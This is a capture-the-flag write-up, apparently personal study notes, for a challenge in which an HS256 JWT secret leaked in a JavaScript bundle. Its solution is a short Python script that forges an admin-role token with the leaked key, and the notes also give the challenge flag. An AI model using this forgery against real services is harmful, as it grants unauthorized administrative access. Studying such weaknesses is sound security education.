THE GARDEN

access-token

Updated 20 Sep 2026

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  Attribution

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    Solved by Fauzi Ismail during the competition. These are rn’s study notes based on the teammate’s documented solve, not an independent rn solve.

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  What it asked

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    Audit an HS256 guest JWT and a legacy JavaScript bundle, then create a valid admin token.

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  Approach

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    The bundle exposed LEGACY_JWT_SECRET = "pnup2026"; authorization depended only on payload.role === "admin".

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    HS256 computes $s=\operatorname{HMAC-SHA256}(K,\text{header.payload})$. Knowing the shared key lets an attacker change the payload and compute a matching signature.

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  Solution

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    import base64, hashlib, hmac, json
    
    def b64u(raw):
        return base64.urlsafe_b64encode(raw).rstrip(b"=")
    
    header = b64u(json.dumps({"alg":"HS256","typ":"JWT"},
                             separators=(",", ":")).encode())
    payload = b64u(json.dumps({"user":"student","role":"admin","iat":1760000000},
                              separators=(",", ":")).encode())
    message = header + b"." + payload
    signature = b64u(hmac.new(b"pnup2026", message, hashlib.sha256).digest())
    print((message + b"." + signature).decode())
    

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  Verification

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    The generated token matches the token printed in the document. The live endpoint was not replayed.

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  Concepts

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    JWT HS256; exposed symmetric signing keys; client-side secret leakage; role-claim forgery.

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  Source

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    Source: team document KMIPNVIII-unintended.docx, titled “Writeup unintended KMIPN 8 Final”. Page numbers refer to the rendered document. Rendered pp. 19–23.

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    Flag: KMIPN8{weak_jwt_secret_breaks_auth}.

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